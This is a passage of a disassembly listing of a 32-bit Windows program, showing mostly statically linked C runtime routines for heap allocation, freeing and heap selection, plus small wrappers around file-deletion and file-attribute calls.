mov edi, eax
loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj
test edi, edi
jnz loc_41BD1B
loc_41BE1F: ; CODE XREF: sub_41BBE2+162j
; sub_41BBE2+1F8j
cmp dword_4DBE48, 0
jz loc_41BD1B
push esi
call __callnewh
test eax, eax
pop ecx
jnz loc_41BD3F
jmp short loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BE3D: ; CODE XREF: sub_41BBE2+143j
; sub_41BBE2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BE67
test esi, esi
jnz short loc_41BE4B
push 1
pop esi
loc_41BE4B: ; CODE XREF: sub_41BBE2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+Src]
push 0
push dword_4DD384
call ds:dword_4271A0 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41BE7D
loc_41BE67: ; CODE XREF: sub_41BBE2+260j
cmp dword_4DBE48, 0
jz short loc_41BE7D
push esi
call __callnewh
test eax, eax
pop ecx
jnz short loc_41BE3D
loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj
; sub_41BBE2+134j ...
xor eax, eax
loc_41BE7D: ; CODE XREF: sub_41BBE2+16j
; sub_41BBE2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBE2 endp
; [00000020 BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41BEF3 proc near ; CODE XREF: __nh_malloc+Bp
arg_0 = dword ptr 4
mov eax, dword_4DD388
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BF17
cmp esi, dword_4DD380
ja short loc_41BF49
push esi
call ___sbh_alloc_block
test eax, eax
pop ecx
jz short loc_41BF49
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BF17: ; CODE XREF: sub_41BEF3+Dj
cmp eax, 2
jnz short loc_41BF49
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BF2C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BF2F
; ---------------------------------------------------------------------------
loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj
push 10h
pop esi
loc_41BF2F: ; CODE XREF: sub_41BEF3+37j
cmp esi, dword_43CE74
ja short loc_41BF56
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
test eax, eax
pop ecx
jnz short loc_41BF65
jmp short loc_41BF56
; ---------------------------------------------------------------------------
loc_41BF49: ; CODE XREF: sub_41BEF3+15j
; sub_41BEF3+20j ...
test esi, esi
jnz short loc_41BF50
push 1
pop esi
loc_41BF50: ; CODE XREF: sub_41BEF3+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BF56: ; CODE XREF: sub_41BEF3+42j
; sub_41BEF3+54j
push esi
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
loc_41BF65: ; CODE XREF: sub_41BEF3+52j
pop esi
retn
sub_41BEF3 endp
; ---------------------------------------------------------------------------
align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C2B8 proc near ; CODE XREF: WinMain(x,x,x,x)+45p
; sub_401ACD+315Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43AE00, eax
retn
sub_41C2B8 endp
; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND]
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_427088 ; DeleteFileA
test eax, eax
jnz short loc_41C7D2
call ds:dword_427094 ; RtlGetLastWin32Error
jmp short loc_41C7D4
; ---------------------------------------------------------------------------
loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj
xor eax, eax
loc_41C7D4: ; CODE XREF: sub_41C7BC+14j
test eax, eax
jz short loc_41C7E3
push eax
call __dosmaperr
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj
xor eax, eax
retn
sub_41C7BC endp
; [00000032 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; [00000007 BYTES: COLLAPSED FUNCTION sub_41D29E. PRESS KEYPAD "+" TO EXPAND]
; [00000007 BYTES: COLLAPSED FUNCTION sub_41D2A5. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41D65F proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)+26p
; sub_4260E2+10p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BA91
pop ecx
retn
sub_41D65F endp
; ---------------------------------------------------------------------------
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
; [0000006D BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
; [0000010A BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41DC7E
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
call __dosmaperr
pop ecx
loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj
test al, 1
jz short loc_41DC9F
test [esp+arg_4], 2
jz short loc_41DC9F
mov dword_4DBDDC, 0Dh
mov dword_4DBDE0, 5
jmp short loc_41DC7A
; ---------------------------------------------------------------------------
loc_41DC9F: ; CODE XREF: sub_41DC5E+22j
; sub_41DC5E+29j
xor eax, eax
retn
sub_41DC5E endp
; ---------------------------------------------------------------------------
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND]
; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call __XcptFilter
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call __exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
pop ecx
pop ecx
retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41E487 proc near ; CODE XREF: ___endstdiop
push 1
call _flsall
pop ecx
retn
sub_41E487 endp
; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41E4FD proc near ; CODE XREF: sub_41E52A+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call ds:dword_4270A4 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_41E528
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E528
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E528: ; CODE XREF: sub_41E4FD+15j
; sub_41E4FD+1Cj
pop esi
retn
sub_41E4FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E52A proc near ; CODE XREF: sub_41E672+20p
Str = byte ptr -122Ch
SubStr = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call __alloca_probe
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call ds:dword_4270D0 ; GetVersionExA
test eax, eax
jz short loc_41E56D
cmp [ebp+var_88], 2
jnz short loc_41E56D
cmp [ebp+var_94], 5
jb short loc_41E56D
push 1
pop eax
jmp loc_41E66F
; ---------------------------------------------------------------------------
loc_41E56D: ; CODE XREF: sub_41E52A+27j
; sub_41E52A+30j ...
lea eax, [ebp+Str]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call ds:dword_4271B4 ; GetEnvironmentVariableA
test eax, eax
jz loc_41E65C
xor ebx, ebx
lea ecx, [ebp+Str]
cmp [ebp+Str], bl
jz short loc_41E5AF
loc_41E59C: ; CODE XREF: sub_41E52A+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41E5AA
cmp al, 7Ah
jg short loc_41E5AA
sub al, 20h
mov [ecx], al
loc_41E5AA: ; CODE XREF: sub_41E52A+76j
; sub_41E52A+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41E59C
loc_41E5AF: ; CODE XREF: sub_41E52A+70j
lea eax, [ebp+Str]
push 16h ; MaxCount
push eax ; Str2
push offset Str1 ; "__GLOBAL_HEAP_SELECTED"
call _strncmp
add esp, 0Ch
test eax, eax
jnz short loc_41E5D1
lea eax, [ebp+Str]
jmp short loc_41E61A
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: sub_41E52A+9Dj
lea eax, [ebp+SubStr]
push 104h
push eax
push ebx
call ds:dword_427078 ; GetModuleFileNameA
cmp [ebp+SubStr], bl
lea ecx, [ebp+SubStr]
jz short loc_41E605
loc_41E5F2: ; CODE XREF: sub_41E52A+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_41E600
cmp al, 7Ah
jg short loc_41E600
sub al, 20h
mov [ecx], al
loc_41E600: ; CODE XREF: sub_41E52A+CCj
; sub_41E52A+D0j
inc ecx
cmp [ecx], bl
jnz short loc_41E5F2
loc_41E605: ; CODE XREF: sub_41E52A+C6j
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
pop ecx
pop ecx
loc_41E61A: ; CODE XREF: sub_41E52A+A5j
cmp eax, ebx
jz short loc_41E65C
push 2Ch ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E65C
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E641
loc_41E633: ; CODE XREF: sub_41E52A+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_41E63C
mov [ecx], bl
jmp short loc_41E63D
; ---------------------------------------------------------------------------
loc_41E63C: ; CODE XREF: sub_41E52A+10Cj
inc ecx
loc_41E63D: ; CODE XREF: sub_41E52A+110j
cmp [ecx], bl
jnz short loc_41E633
loc_41E641: ; CODE XREF: sub_41E52A+107j
push 0Ah ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtol
add esp, 0Ch
cmp eax, 2
jz short loc_41E66F
cmp eax, 3
jz short loc_41E66F
cmp eax, 1
jz short loc_41E66F
loc_41E65C: ; CODE XREF: sub_41E52A+5Cj
; sub_41E52A+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_41E4FD
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E66F: ; CODE XREF: sub_41E52A+3Ej
; sub_41E52A+126j ...
pop ebx
leave
retn
sub_41E52A endp
; =============== S U B R O U T I N E =======================================
sub_41E672 proc near ; CODE XREF: start+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_4271BC ; HeapCreate
test eax, eax
mov dword_4DD384, eax
jz short loc_41E6C8
call sub_41E52A
cmp eax, 3
mov dword_4DD388, eax
jnz short loc_41E6AE
push 3F8h
call ___sbh_heap_init
pop ecx
jmp short loc_41E6B8
; ---------------------------------------------------------------------------
loc_41E6AE: ; CODE XREF: sub_41E672+2Dj
cmp eax, 2
jnz short loc_41E6CB
call sub_41F216
loc_41E6B8: ; CODE XREF: sub_41E672+3Aj
test eax, eax
jnz short loc_41E6CB
push dword_4DD384
call ds:dword_4271B8 ; HeapDestroy
loc_41E6C8: ; CODE XREF: sub_41E672+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E6CB: ; CODE XREF: sub_41E672+3Fj
; sub_41E672+48j
push 1
pop eax
retn
sub_41E672 endp
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E742 proc near ; CODE XREF: sub_41BA91+23p
; sub_41BBE2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41EA66
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E818
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E7A6
push 3Fh
pop edx
loc_41E7A6: ; CODE XREF: sub_41E742+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E7FA
cmp edx, 20h
jnb short loc_41E7D1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E7F2
; ---------------------------------------------------------------------------
loc_41E7D1: ; CODE XREF: sub_41E742+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E7F2: ; CODE XREF: sub_41E742+86j
; sub_41E742+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E7FD
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E742+6Aj
mov ecx, [ebp+var_4]
loc_41E7FD: ; CODE XREF: sub_41E742+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E818: ; CODE XREF: sub_41E742+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E826
push 3Fh
pop edx
loc_41E826: ; CODE XREF: sub_41E742+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E8C9
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E84B
mov ebx, esi
loc_41E84B: ; CODE XREF: sub_41E742+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E85D
mov edx, esi
loc_41E85D: ; CODE XREF: sub_41E742+117j
cmp ebx, edx
jz short loc_41E8C4
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E8AC
cmp ebx, 20h
jnb short loc_41E88D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E8AC
; ---------------------------------------------------------------------------
loc_41E88D: ; CODE XREF: sub_41E742+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E8AC: ; CODE XREF: sub_41E742+128j
; sub_41E742+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E8C4: ; CODE XREF: sub_41E742+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E8CC
; ---------------------------------------------------------------------------
loc_41E8C9: ; CODE XREF: sub_41E742+EDj
mov ebx, [ebp+arg_0]
loc_41E8CC: ; CODE XREF: sub_41E742+185j
cmp [ebp+var_C], 0
jnz short loc_41E8DA
cmp ebx, edx
jz loc_41E95B
loc_41E8DA: ; CODE XREF: sub_41E742+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E95B
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E932
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E921
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E921: ; CODE XREF: sub_41E742+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E95B
; ---------------------------------------------------------------------------
loc_41E932: ; CODE XREF: sub_41E742+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E948
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E948: ; CODE XREF: sub_41E742+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E95B: ; CODE XREF: sub_41E742+192j
; sub_41E742+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41EA66
mov eax, Dst
test eax, eax
jz loc_41EA58
mov ecx, dword_4DD36C
mov esi, ds:dword_427068
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_4DD36C
mov eax, Dst
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, Dst
mov ecx, dword_4DD36C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, Dst
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, Dst
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E9E9
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, Dst
loc_41E9E9: ; CODE XREF: sub_41E742+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41EA58
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, Dst
push dword ptr [eax+10h]
push 0
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
mov eax, dword_4DD378
mov edx, dword_4DD37C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, Dst
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx ; Size
lea ecx, [eax+14h]
push ecx ; Src
push eax ; Dst
call _memcpy_0
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DD378
cmp eax, Dst
jbe short loc_41EA4E
sub [ebp+arg_0], 14h
loc_41EA4E: ; CODE XREF: sub_41E742+306j
mov eax, dword_4DD37C
mov dword_4DD370, eax
loc_41EA58: ; CODE XREF: sub_41E742+234j
; sub_41E742+2ABj
mov eax, [ebp+arg_0]
mov dword_4DD36C, edi
mov Dst, eax
loc_41EA66: ; CODE XREF: sub_41E742+38j
; sub_41E742+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E742 endp
; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41F216 proc near ; CODE XREF: sub_41E672+41p
; sub_41F50E:loc_41F6DDp
